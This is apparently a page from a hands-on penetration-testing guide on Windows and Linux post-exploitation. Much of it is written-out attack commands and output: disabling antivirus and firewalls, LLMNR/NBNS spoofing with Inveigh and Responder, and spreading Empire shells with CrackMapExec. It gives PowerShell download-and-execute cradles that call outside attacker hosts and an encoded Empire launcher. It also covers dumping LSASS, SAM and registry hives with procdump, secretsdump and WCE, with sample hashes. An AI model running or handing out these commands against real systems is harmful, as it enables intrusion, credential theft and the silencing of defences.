-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathLFF-IPS-P4-PostExploitation.rst
1629 lines (1060 loc) · 74.8 KB
/
LFF-IPS-P4-PostExploitation.rst
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
**********************************************************
Post Exploitation
**********************************************************
From the previous post, we learned how to have authenticated remote shell in windows, in this post, we will have a look around of how to :ref:`Gather-Windows-Credentials` after getting a remote shell. We would also have a look how to have a :ref:`High-Impact-Post-Exploitation` which leaves an impact to the higher management for the organization. In :ref:`A1-Windows-Credentials`, We have explained the concepts about authentication, credentials and authenticators, credential storage, authentication protocols, logon types. In :ref:`A2-Cracking-Hashes`, we talk about cracking windows active directory LM:NT hashes. In :ref:`A3-Interesting-Stories` contains blog links which might be helpful doing post-exploitation.
Situational awarness
=====================
The way we will retrieve info about the coputer we hacked and the network we are in depends on what exploit we used to get in. There are plenty of ways to do so, I will explain the most common used ones.
We could have used a basic netcat shell. In that case we have two options, use system builtin utilities, or use post/multi/manage/shell_to_meterpreter.
.. Note :: For builtin, report the the basics knowledge of the system targeted.
.. Tip :: Sysinternals from live.sysinternals.com are Microsoft signed if not already installed !
RedTeam Field manual
^^^^^^^^^^^^^^^^^^^^
If you are like me, you cannot remember everything. An handy tool that may help you is having this book RedTeamFieldManual and the RTFM.py tool.
It is available at : https://github.com/leostat/rtfm
Just download the repo and run to initialize the DB :
::
rtfm.py -u
Usage :
::
$ python rtfm.py -h
Usage: rtfm.py [OPTIONS]
For when you just cant remember the syntax, you should just RTFM
Options:
--version show program's version number and exit
-h, --help show this help message and exit
--delete=DELETE Delete specified ID
-e SA, --everything=SA
Look through all of RTFM
-t TAG, --tag=TAG Specify one or more tags to look for (a, b, c)
-c CMD, --cmd=CMD Specify a command to search (ls)
-R REMARK, --remark=REMARK
Search the comments field
-r REFER, --reference=REFER
Search for the reference [reference]
-a AUTHOR, --author=AUTHOR
Search for author
-A DATE, --added-on=DATE
Search by date, useful for when you want to commit
back!
-p PRINTER, --print=PRINTER
Print Types : P(retty) p(astable) w(iki) h(tml) d(ump)
-i INSERT, --insert=INSERT
Insert c(ommand) | t(ags) | r(eferances) |
E(verything)
-D DUMP, --dump=DUMP Just Dump information about
t(ags)|c(commands)|r(eferances)a(ll)
-d, --debug Display verbose processing details (default: False)
-u, --update Check for updates (default: false)
-v Shows the current version number and the current DB
hash and exits
Example: rtfm.py -c rtfm -t linux -R help -r git -pP -d
Example :
::
$ python rtfm.py -e RDP
++++++++++++++++++++++++++++++
Command ID : 160
Command : net localgroup "Remote Desktop Users" [user] /add /domain
Comment : Add user to the RDP group
Tags : user information,Windows,privilege escalation
Date Added : 2018-07-31
Added By : @yght
References
__________
https://technet.microsoft.com/en-us/library/bb490949.aspx
https://technet.microsoft.com/en-us/library/cc754051(v=ws.11).aspx
++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++
Command ID : 271
Command : rdpy-rdpscreenshot.py 1.1.1.1
Comment : Take a screenshot of a RDP server (provided by rdpy)
Tags : linux,scanning,recon
Date Added : 2018-07-31
Added By : Innes
References
__________
https://github.com/citronneur/rdpy
++++++++++++++++++++++++++++++
..sip...
Meterpreter
^^^^^^^^^^^^
If we were lucky enough to get a meterpreter shell, we can just launch the meterpreter commands.
For more precise Info take a lok at the dedicated part to Metasploit.
Process Commands
"""""""""""""""
* getpid : Displays the process ID that Meterpreter is running inside.
* getuid : Displays the user ID that Meterpreter is running with.
* ps : Displays process list.
* kill : Terminates a process given its process ID.
* execute : Run a given program with the privilieges of the process the Meterpreter is loaded in.
* migrate : Jumps to a given destination process ID.
* Target must have same or lower privileges.
* Target process must be a more stable one.
* When inside a process, can access any files that process has access.
Network Commands
"""""""""""""""""""
* ipconfig : Shows network interface information.
* portfwd : Forwards packets through TCP session.
* route : Manage/View the system's routing table.
Misc commands
"""""""""""""""
* idletime : Displays the duration time that the GUI of the target machine has been idle.
* uictl [enable/disable][keyboard/mouse] : Enable/disable either the mouse or the keyboard of the target machine.
Additional modules
"""""""""""""""""
* use [moduleName] : loads the specified module.
* Like priv hashdump timestomp
Empire
^^^^^^^^
Enumerating without Scanning
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
In DomainJoined computer
"""""""""""""""""""""""
Make usage of Service Principal Names (SPN). It is a feature, and builtin in any windows computer.
::
$ setspn
Paramètre absent : nomdecompte.
Syntaxe : setspn [modificateurs commutateurs] [nomcompte]
où « nomcompte » peut être le nom ou domaine\nom
de l'ordinateur ou du compte utilisateur cible
Commutateurs du mode édition :
-R = réinitialise le nom SPN de HOST
Syntaxe : setspn -R nomcompte
-S = ajoute un SPN arbitraire après avoir vérifié qu'il n'existe
aucun doublon
Syntaxe : setspn -S SPN nomcompte
-D = supprime le SPN arbitraire
Syntaxe : setspn -D SPN nomcompte
-L = répertorie les SPN inscrits sur le compte cible
Syntaxe : setspn [-L] nomcompte
Modificateurs en mode édition :
-C = spécifie que le nom de compte est un nom de compte d'ordinateur
-U = spécifie que le nom de compte est un compte d'utilisateur
Remarque : -C et -U sont exclusifs. Si aucun modificateur n'est
spécifié, l'outil interprète le nom de compte comme nom d'ordinateur
si un tel ordinateur existe, et un nom d'utilisateur dans le cas
contraire.
Common usage
::
setspn -T [DOMAIN] -F -Q */*
PowerSploit
^^^^^^^^^^^^
https://github.com/PowerShellMafia/PowerSploit
PowerView is builtin in Empire and we can run it in meterpreter with the help of the right module "search Interactive_Powershel".
::
Get-Command -Module PowerSploit
Get-Help Invoke-Netview -full
**Example**
::
C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4’); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“
Disabling AntiVirus/Firewall
==================
On windows
"""""""""
There are different ways on doing it. You should search for your specific platform and software. Common Ones.
::
netsh advfirewall set allprofiles state off
net stop "avast! Antivirus"
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
sc stop WinDefend
Or for older ones
::
netsh firewall set opmode disable
On Linuxlike
""""""""""""
**On CentOS**
Must be root
::
# /etc/init.d/iptables save
# /etc/init.d/iptables stop
For on boot
::
# chkconfig iptables on
**Debian based**
::
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
You could want to save it first to put back the normal config when you're done :
::
sudo iptables-save > /root/firewall.rules
Gather Windows Credentials
==========================
Once we have administrative remote shell, our next task is to gather all the passwords from Security Accounts Manager (SAM) database, Local Security Authority Subsystem (LSASS) process memory. Domain Active Directory Database (domain controllers only), Credential Manager (CredMan) store or LSA Secrets in the registry and get all the passwords (clear-text or hashed). A lot of stuff has already been mentioned at `Obtaining Windows Passwords <http://netsec.ws/?p=314>`_ and `Dumping Windows Credential <https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/>`_ and Bernardo Blog Dump Windows password hashes efficiently `Part1 <http://bernardodamele.blogspot.in/2011/12/dump-windows-password-hashes.html>`_ , `Part2 <http://bernardodamele.blogspot.in/2011/12/dump-windows-password-hashes_16.html>`_, `Part3 <http://bernardodamele.blogspot.in/2011/12/dump-windows-password-hashes_20.html>`_, `Part4 <http://bernardodamele.blogspot.in/2011/12/dump-windows-password-hashes_21.html>`_, `Part5 <http://bernardodamele.blogspot.in/2011/12/dump-windows-password-hashes_28.html>`_ and `Part6 <http://bernardodamele.blogspot.in/2011/12/dump-windows-password-hashes_29.html>`_.
We have tried to combine all the methods in one post. (A lot of stuff has also been not mentioned such fgdump, pwdump etc.). For all methods, check `Credential Dumping <https://attack.mitre.org/wiki/Technique/T1003>`_ on ATT&CK.
So, back to credential dumping after getting a remote shell, there are multiple methods to do the following:
* Execute responder or/and Inveigh
* Get metasploit meterpreter by using Web Delivery method and run mimikatz
* Get powershell empire agent by using powershell launcher string and run mimikatz
* Execute Windows Credential Editor (WCE)
* Dumping Local Security Authority Subsystem Service
* Dumping Registry Hives
* Dumping System/ Security/ SAM File
* Virtual Machine Snapshots and Suspended States - Vmss2core
LLMNR/NBT-NS/mDNS
-----------------
On Windows
""""""""""""
**Inveigh**
Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.
Install :
::
IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1")
Or
::
Import-Module ./Inveigh.psd1
.. Tip ::
If a local firewall is enabled, ensure that the targets are able to communicate with the Inveigh host on the relevant ports.
If you copy/paste challenge/response captures from the console window for password cracking, ensure that carriage returns are removed.
Commands :
Enable real time console output
::
Invoke-Inveigh -ConsoleOutput Y
Enable inspection only and real time console output
::
Invoke-Inveigh -Inspect -ConsoleOutput Y
Enable real time file output at startup
::
Invoke-Inveigh -FileOutput Y
Enable the NBNS and mDNS spoofers
::
Invoke-Inveigh -NBNS Y -mDNS Y
Enable HTTPS with customized certificate settings
::
Invoke-Inveigh -HTTPS Y -HTTPSCertIssuer PowerShell -HTTPSCertSubject www
Enable proxy authentication captures
::
Invoke-Inveigh -Proxy Y
Stop running Inveigh modules
::
Stop-Inveigh
Get all queued console output
::
Get-Inveigh
Get all captured NTLMv2 challenge/response hashes
::
Get-Inveigh -NTLMv2
Before performing LLMNR/mDNS/NBNS spoofing, start Inveigh in inspection only mode to gather information about the relevant systems and traffic on the subnet. This information can be used to later target specific systems or spoof specific hostnames in order to avoid impacting unnecessary systems. Conversely, this information can be used to filter out dangerous hostnames to spoof and systems that may be running spoofer detection services.
::
Invoke-Inveigh -ConsoleOutput Y -Inspect
For targeted and more stealthy attack we should use those parameters :
* SpooferHostsIgnore
* SpooferHostReply
* SpooferIPsIgnore
* SpooferIPsReply
* SpooferRepeat
* SpooferLearning
* SpooferLearningDelay
* SpooferLearningInterval
* HTTPAuth
* ProxyAuth
* ProxyIgnore
* WPADAuth
* WPADAuthIgnore
Example
::
Invoke-Inveigh -ConsoleOutput Y -SpooferHostReply wpad -SpooferIPsReply 192.168.1.100
.. note :: For In Depth learnig always ahve a look at all the docs. For Inveigh : https://github.com/Kevin-Robertson/Inveigh/wiki
On Linuxlike
"""""""""""""""""
**Responder.py**
First of all, please take a look at Responder.conf and tweak it for your needs.
::
./Responder.py -h
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.
Typical usage :
::
./Responder.py -I eth0 -wrf
Scaning the network
===================
If we don't have a compromised system yet, but we did gain credentials through Responder, misconfigured web app, bruteforcing, or a printer, then we can try to sweep the network to see where this account can log in. A simple sweep using a tool
like CrackMapExec (cme) can assist in finding that initial point of entry on the internal network.
Historically, we have used CME to scan the network, identify/authenticate via SMB on
the network, execute commands remotely to many hosts, and even pull clear text creds
via Mimikatz. With newer features in both Empire and CME, we can take advantage
of Empire's REST feature. In the following scenario, we are going to spin up Empire
with its REST API, configure the password in CME, have CME connect to Empire,
scan the network with the single credential we have, and finally, if we do authenticate,
automatically push an Empire payload to the remote victim's system. If you have a
helpdesk or privileged account, get ready for a load of Empire shells!
Start Empire's REST API server
::
cd /opt/Empire
./empire --rest --password 'hacktheuniverse'
Change the CrackMapExec Password
::
gedit /root/.cme/cme.conf
password=hacktheuniverse
Run CME to spawn Empire shells
::
cme smb 10.100.100.0/24 -d 'cyberspacekittens.local' -u '<username>' -p
'<password>' -M empire_exec -o LISTENER=http
Metasploit Web Delivery
-----------------------
`Metasploit Web Delivery <https://www.offensive-security.com/metasploit-unleashed/web-delivery/>`_ : Metasploit’s Web Delivery Script is a versatile module that creates a server on the attacking machine which hosts a payload. When the victim connects to the attacking server, the payload will be executed on the victim machine. This module has a powershell method which generates a string which is needed to be executed on remote windows machine.
::
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > show targets
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(web_delivery) > set lhost 14.97.131.138
lhost => 14.97.131.138
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://14.97.131.138:8443
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/uMOKs6wtlYL
[*] Local IP: http://14.97.131.138:8080/uMOKs6wtlYL
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $X=new-object net.webclient;$X.proxy=[Net.WebRequest]::GetSystemWebProxy();$X.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $X.downloadstring('http://14.97.131.138:8080/uMOKs6wtlYL');
When the following command (when there is no proxy)
::
powershell.exe -nop -w hidden -c $X=new-object net.webclient;IEX $X.downloadstring('http://14.97.131.138:8080/uMOKs6wtlYL');
or (when there is proxy)
::
powershell.exe -nop -w hidden -c $X=new-object net.webclient;$X.proxy=[Net.WebRequest]::GetSystemWebProxy();$X.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $X.downloadstring('http://14.97.131.138:8080/uMOKs6wtlYL');
is executed on the windows remote machine, we should get a meterpreter.
::
Delivery web_delivery payload
meterprerter>
Once we have got the meterpreter, we can use mimikatz or kiwi to dump all the credentials.
Powershell Empire
-----------------
`Powershell Empire agent <https://www.powershellempire.com/>`_ : Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.
After creating a listener, we just need to create a launcher using stager:
::
(Empire: listeners) > usestager launcher
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AGUAbQAuAE4ARQBUAMAA7ACQAdwBDAD0ATgBFAFcALQBPAGIASgBlAGMAVAAgAFMAeQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBDAGwASQBFAG4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG*snip*4AOQA3AC4AMQAzADEALgAxADMAOAA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABPAFIAJABLAFsAJABJACsAKwAlACQASwAuAEwAZQBOAEcAdABIAF0AfQA7AEkARQBYACAAKAAkAEIALQBKAG8ASQBOACcAJwApAA==
When the above command is executed on the windows remote shell, we should be able to get a powershell agent
::
(Empire) > [+] Initial agent 2FTFYMKDFSSFS from 192.168.42.5 now active
Sometimes the above two will fail to work, in which case, we revert to the old techniques:
Dump Lsass.exe (Local Security Authority Subsystem Service)
-----------------------------------------------------------
Procdump
^^^^^^^^
This method has been mentioned `Grabbing Passwords from Memory using Procdump and Mimikatz <https://cyberarms.wordpress.com/2015/03/16/grabbing-passwords-from-memory-using-procdump-and-mimikatz/>`_ , `How Attackers Extract Credentials (Hashes) From LSASS <https://adsecurity.org/?p=462>`_ , `Mimikatz Minidump and mimikatz via bat file <http://carnal0wnage.attackresearch.com/2013/07/mimikatz-minidump-and-mimikatz-via-bat.html>`_ , `Extracting Clear Text Passwords Using Procdump and Mimikatz <http://c0d3xpl0it.blogspot.in/2016/04/extracting-clear-text-passwords-using-procdump-and-mimikatz.html>`_ and `I'll Get Your Credentials ... Later! <http://www.fuzzysecurity.com/tutorials/18.html>`_
* First, upload the `ProcDump.exe <https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx>`_ to the remote computer by using smb, windows explorer.
* Second, from the remote shell, execute
::
C:\Windows\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp => For 32 bit system
C:\Windows\temp\procdump.exe -accepteula -ma -64 lsass.exe lsass.dmp => For 64 bit system
* Download the lsass.dmp and use mimikatz to get the passwords.
Powershell Out-MiniDump
^^^^^^^^^^^^^^^^^^^^^^^
This method is similar to the procdump using powershell. Instead of procdump, we utilize powershell `Out-MiniDump.ps1 <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1>`_ from PowerSploit
* Launch PowerShell and `dot source <http://ss64.com/ps/source.html>`_ function from the Out-Minidump.ps1
::
. c:\path\to\Out-Minidump.ps1
* Create dump of the process using this syntax:
::
Get-Process lsass | Out-Minidump -DumpFilePath C:\Windows\Temp
Registry Hives
--------------
Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:
::
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with Impacket secretsdump.py
::
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
[*] Target system bootKey: 0x602e8c2947d56a95bf9cfxxxxxxxxxxx
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
admsys :500 :aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d68xxxxxxxxxx:::
Guest :501 :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59dxxxxxxxxx:::
support :1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b5xxxxxxxxx:::
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
adm2:6ec74661650377df488415415bf10321:system1.example.com:EXAMPLE:::
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:system2.example.COM:EXAMPLE:::
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9adxxxxxxxxxx
Windows Credential Editor (WCE)
-------------------------------
Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list and delete associated credentials (e.g.: LM/NT hashes, Kerberos tickets and cleartext passwords).
The tool allows users to:
* Perform Pass-the-Hash on Windows
* 'Steal' NTLM credentials from memory (with and without code injection)
* 'Steal' Kerberos Tickets from Windows machines
* Use the 'stolen' kerberos Tickets on other Windows or Unix machines to gain access to systems and services
* Dump cleartext passwords stored by Windows authentication packages
**Examples**
List NTLM credentials in memory
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
By default, WCE lists NTLM credentials in memory, no need to specify any options.
::
C:\Users\test>wce.exe
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa ([email protected])
Use -h for help.
theuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
Create a new logon session
^^^^^^^^^^^^^^^^^^^^^^^^^^
Create a new logon session and launch a program with new NTLM credentials?
::
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c <program>
Example:
::
C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -c cmd.exe
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa ([email protected])
Use -h for help.
Changing NTLM credentials of new logon session (000118914h) to:
Username: testuser
domain: amplialabs
LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE
NTHash: 0CB6948805F797BF2A82807973B89537
NTLM credentials successfully changed!
At this point, a new cmd.exe instance will be launched and network connections using NTLM initiated from that instance will use the NTLM credentials specified.
Write hashes obtained by WCE to a file?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
::
C:\>wce -o output.txt
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa ([email protected])
Use -h for help.
C:\>type output.txt
test:AMPLIALABS:01020304050607080900010203040506:98971234567865019812734576890102
Dump logon cleartext passwords with WCE?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The -w switch can be used to dump logon passwords stored in cleartext by the Windows Digest Authentication package. For example:
::
C:\>wce -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity com)
Use -h for help.
test\MYDOMAIN:mypass1234
NETWORK SERVICE\WORKGROUP:test
`This <http://www.youtube.com/watch?v=tJ0VJVrhwTE&ap=%2526fmt%3d22>`_ video shows the use of the -w switch in a Windows 2008 Server
Useful Information
^^^^^^^^^^^^^^^^^^
* Cachedump obtains NTLM credentials from the Windows Credentials Cache (aka logon cache, logon information cache, etc). This cache can be disabled and it is very often disabled by network/domain/windows administrators (`see here <http://support.microsoft.com/kb/172931>`_ ). WCE will be able to steal credentials even when this cache is disabled.
* WCE obtains NTLM credentials from memory, which are used by the system to perform SSO; it uses a series of techniques the author of WCE developed.
* Pwdump dumps NTLM credentials from the local SAM. Let's say, a administrator remote desktop to a server (compromised by attacker and can run wce). In this case, WCE would be able get the credential of Administrator ( who RDP'd ), However, pwdump will only allow you to obtain the NTLM credentials of the local SAM
The above information has been taken from `WCE FAQ <http://www.ampliasecurity.com/research/wcefaq.html>`_
System/ Security /SAM File
--------------------------
During penetration assessment, we do find VMDK file (Virtual Machine Disk), we should be able to mound vmdk file either by using Windows Explorer, VMWare Workstation or OSFMount. After mounting, we should be able to copy
::
System32/config/SYSTEM
System32/config/SECURITY
Passwords from these file could be extracted by using `creddump7 <https://github.com/Neohapsis/creddump7>`_
creddump7
^^^^^^^^^
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
::
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
::
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d (god)
Welcome1! (nharpsis)
The examples above are taken from creddump7 Readme
Virtual Machine Snapshots And Suspended States - Vmss2core
----------------------------------------------------------
This method has been directly taken from the Fuzzy Security Blog `I'll Get Your Credentials ... Later! <http://www.fuzzysecurity.com/tutorials/18.html>`_
After compromising a target if we discover that the box hosts Virtual Machines. We can utilize `vmss2core <https://labs.vmware.com/flings/vmss2core>`_ , we can use this tool to create a coredump of a Virtual Machine, If that machine has suspended (*.vmss) or snapshot (*.vmsn) checkpoint state files. These files can be parsed by the volatility framework to extract a hashdump.
Make sure to use the appropriate version of vmss2core, in this case I needed the 64-bit OSX version.
::
# We are working with a suspended state so we need to combine *.vmss and *.vmem. If we were
dealing with a snapshot we would need to combine *.vmsn and *.vmem.
Avalon:Tools b33f$ ./vmss2core_mac64 -W
/Users/b33f/Documents/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e7a44fca.vmss
/Users/b33f/Documents/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e7a44fca.vmem
vmss2core version 3157536 Copyright (C) 1998-2013 VMware, Inc. All rights reserved.
Win32: found DDB at PA 0x2930c28
Win32: MmPfnDatabase=0x82970700
Win32: PsLoadedModuleList=0x82950850
Win32: PsActiveProcessHead=0x82948f18
Win32: KiBugcheckData=0x82968a40
Win32: KernBase=0x82806000
Win32: NtBuildLab=0x82850fa8
Win: ntBuildLab=7601.17514.x86fre.win7sp1_rtm.101119-1850 # Win7 SP1 x86
CoreDumpScanWin32: MinorVersion set to 7601
... 10 MBs written.
... 20 MBs written.
... 30 MBs written.
... 40 MBs written.
... 50 MBs written.
[...Snip...]
Finished writing core.
After transferring the coredump back out we can let volatility do it's magic. We need to determine which OS the dump comes from for volatility to parse it correctly.
::
# We can see that volatility is unable to accurately determine the OS profile, however from the vmss2core
output above we can see that the correct profile is "Win7SP1x86".
root@Josjikawa:~/Tools/volatility# ./vol.py imageinfo -f ../../Desktop/memory.dmp
Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP0x86, Win7SP1x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS)
AS Layer3 : FileAddressSpace (/root/Desktop/memory.dmp)
PAE type : PAE
DTB : 0x185000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2014-09-13 19:15:04 UTC+0000
